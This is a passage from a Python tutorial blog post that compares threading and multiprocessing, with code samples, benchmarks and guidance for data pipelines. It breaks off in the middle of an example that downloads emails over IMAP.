&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    random_list &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; random.sample(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;range&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1000000&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;), number)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt; reduce&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;lambda&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; x, y: x&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;y, random_list)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;number &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; 50000&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;thread1 &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; threading.Thread(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;func, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(number,))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;thread2 &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; threading.Thread(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;func, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(number,))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;thread1.start()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;thread2.start()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;thread1.join()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;thread2.join()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can see that I’ve created a function &lt;code&gt;func&lt;/code&gt; that creates a list of random numbers and then multiplies all the elements of it sequentially. This can be a fairly heavy process if the number of items is large enough, say 50k or 100k.&lt;/p&gt;
&lt;p&gt;Then, I’ve created two threads that will execute the same function. The thread objects have a &lt;code&gt;start&lt;/code&gt; method that starts the thread asynchronously. If we want to wait for them to terminate and return, we have to call the &lt;code&gt;join&lt;/code&gt; method, and that’s what we have done above.&lt;/p&gt;
&lt;p&gt;As you can see, the API for spinning up a new thread to a task in the background is pretty straightforward. What’s great is that the API for multiprocessing is almost the exact same as well; let’s check it out.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; multiprocessing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; random&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; functools &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt; reduce&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; func&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(number):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    random_list &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; random.sample(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;range&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1000000&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;), number)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt; reduce&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;lambda&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; x, y: x&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;y, random_list)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;number &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; 50000&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;process1 &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; multiprocessing.Process(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;func, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(number,))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;process2 &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; multiprocessing.Process(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;func, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(number,))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;process1.start()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;process2.start()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;process1.join()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;process2.join()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There it is—just swap &lt;code&gt;threading.Thread&lt;/code&gt; with &lt;code&gt;multiprocessing.Process&lt;/code&gt; and you have the exact same program implemented using multiprocessing.&lt;/p&gt;
&lt;p&gt;There’s obviously a lot more you can do with this, but that’s not within the scope of this article, so we won’t go into it here. Check out the docs &lt;a href=&quot;https://docs.python.org/3/library/threading.html&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://docs.python.org/3/library/threading.html&quot;&gt;here&lt;/a&gt; if you’re interested in learning more.&lt;/p&gt;
&lt;h3 id=&quot;benchmarks&quot;&gt;Benchmarks&lt;/h3&gt;
&lt;p&gt;Now that we have an idea of how the code implementing parallelization looks like, let’s get back to the performance issues. As we’ve noted before, threading is not suitable for CPU bound tasks; in those cases it ends up being a bottleneck. We can validate this using some simple benchmarks.&lt;/p&gt;
&lt;p&gt;Firstly, let’s see how threading compares against multiprocessing for the code sample I showed you above. Keep in mind that this task does not involve any kind of IO, so it’s a pure CPU bound task.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/multiprocessing-vs-threading-plot-1.png&quot; alt=&quot;Plot-1&quot;&gt;&lt;/p&gt;
&lt;p&gt;And let’s see a similar benchmark for an IO bound task. For example, the following function —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; requests&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; func&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(number):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    url &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &apos;http://example.com/&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(number):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        response &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; requests.get(url)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        with&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; open&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;example.com.txt&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;w&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; output:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;            output.write(response.text)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The function is simply fetching a webpage and saving that to a local file, multiple times in a loop. Useless but straightforward and thus a good fit for demonstration. Let’s look at the benchmark.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/multiprocessing-vs-threading-plot-2.png&quot; alt=&quot;Plot-2&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now there are a few things to note from these two charts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;In both cases, a single process took more execution time than a single thread. Evidently, processes have more overhead than threads.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For the CPU bound task, multiple processes perform way better than multiple threads. However, this difference becomes slightly less prominent when we’re using 8x parallelization. As the processor in my laptop is quad-core, up to four processes can use the multiple cores effectively. So when I’m using more processes, it doesn’t scale that well. But still, it outperforms threading by a lot because threading can’t utilize the multiple cores at all.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For the IO-bound task, the bottleneck is not CPU. So the usual limitations due to GIL don’t apply here, and multiprocessing doesn’t have an advantage. Not only that, the light overhead of threads actually makes them faster than multiprocessing, and threading ends up outperforming multiprocessing consistently.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&quot;differences-merits-and-drawbacks&quot;&gt;Differences, Merits and Drawbacks&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Threads run in the same memory space; processes have separate memory.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Following from the previous point: sharing objects between threads is easier, but the flip side of the coin is that you have to take extra measure for object synchronization to make sure that two threads don’t write to the same object at the same time and that a race condition does not occur.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Because of the added programming overhead of object synchronization, multi-threaded programming is more bug-prone. On the other hand, multi-processes programming is easy to get right.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Threads have a lower overhead compared to processes; spawning processes take more time than threads.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Due to limitations put in place by the GIL in Python, threads can’t achieve &lt;em&gt;true&lt;/em&gt; parallelism utilizing multiple CPU cores. Multiprocessing does not have any such restrictions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Process &lt;a href=&quot;https://en.wikipedia.org/wiki/Scheduling_(computing)&quot;&gt;scheduling&lt;/a&gt; is handled by the OS, whereas thread scheduling is done by the Python interpreter.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Child processes are interruptible and killable, whereas child threads are not. You have to wait for the threads to terminate or &lt;code&gt;join&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;From all this discussion, we can conclude the following —&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Threading should be used for programs involving IO or user interaction.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Multiprocessing should be used for CPU bound, computation-intensive programs.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&quot;from-the-perspective-of-a-data-scientist&quot;&gt;From the Perspective of a Data Scientist&lt;/h1&gt;
&lt;p&gt;A typical data processing pipeline can be divided into the following steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Reading raw data and storing into main memory or GPU&lt;/li&gt;
&lt;li&gt;Doing computation, using either CPU or GPU&lt;/li&gt;
&lt;li&gt;Storing the mined information in a database or disk.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let’s explore how we could introduce parallelism in these tasks so that they can be sped up.&lt;/p&gt;
&lt;p&gt;Step 1 involves reading data from disk, so clearly disk IO is going to be the bottleneck for this step. As we’ve discussed, threads are the best option for parallelizing this kind of operation. Similarly, step 3 is also an ideal candidate for the introduction of threading.&lt;/p&gt;
&lt;p&gt;However, step 2 consists of computations that involve the CPU or a GPU. If it’s a CPU based task, using threading will be of no use; instead, we have to go for multiprocessing. Only then we’ll be able to exploit the multiple cores of the CPU and achieve parallelism. If it’s a GPU based task, since GPU already implements a massively parallelized architecture at the hardware level, using the correct interface (libraries and drivers) to interact with the GPU should take care of the rest.&lt;/p&gt;
&lt;p&gt;Now you may be thinking, “My data pipeline looks a bit different to this; I have some tasks that don’t really fit into this general framework.” Still, you should be able to observe the methodology used here to decide between threading and multiprocessing. The factors you should consider are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Whether your task has any form of IO&lt;/li&gt;
&lt;li&gt;Whether IO is the bottleneck of your program&lt;/li&gt;
&lt;li&gt;Whether your task depends upon a large amount of computation by the CPU&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With these factors in mind, together with the takeaways above, you should be able to make the decision. Also, keep in mind that you don’t have to use a single form of parallelism throughout your program. You should use one or the other for different parts of your program, whichever is suitable for that particular part.&lt;/p&gt;
&lt;p&gt;Now we’ll look at two example scenarios a data scientist might face and how you can use parallel computing to speed them up.&lt;/p&gt;
&lt;h2 id=&quot;scenario-downloading-emails&quot;&gt;Scenario: Downloading Emails&lt;/h2&gt;
&lt;p&gt;Let’s say you want to analyze all the emails in the inbox of your own home-grown startup and understand the trends: who are the most frequent senders, what are the most common keywords appearing in the emails, which day of the week or which hour of the day do you receive most emails, and so on. The first step of this project would be, of course, downloading the emails to your computer.&lt;/p&gt;
&lt;p&gt;At first, let’s do it sequentially without using any parallelization. The code to use is below and it should be pretty self-explanatory. There is a function &lt;code&gt;download_emails&lt;/code&gt; which takes a list of email ids as input and downloads them sequentially. This calls this function with a list of ids of 100 email at once.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; imaplib&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; time&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;IMAP_SERVER&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &apos;imap.gmail.com&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;USERNAME&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &apos;username@gmail.com&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;PASSWORD&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &apos;password&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; download_emails&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(ids):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    client &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; imaplib.IMAP4_SSL(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;IMAP_SERVER&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    client.login(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;USERNAME&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;PASSWORD&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    client.select()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; ids:&lt;/span&gt;&lt;/span&gt;
